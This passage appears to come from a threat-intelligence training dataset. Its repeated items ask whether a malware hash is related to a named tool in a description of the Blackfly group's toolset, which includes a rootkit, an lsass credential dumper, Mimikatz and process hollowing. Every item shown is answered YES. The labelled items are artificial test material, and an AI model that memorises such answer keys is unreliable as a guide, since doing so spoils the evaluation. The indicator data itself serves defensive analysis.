tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\n### Target Entity: Proxy configuration tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\n### Target Entity: Winnkit\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\n### Target Entity: Credential-dumping tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\n### Target Entity: ForkPlayground\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\n### Target Entity: Proxy configuration tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\n### Target Entity: SQL tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\n### Target Entity: Process-hollowing tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\n### Target Entity: Screenshotting tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\n### Target Entity: Winnkit\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\n### Target Entity: Winnkit\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: 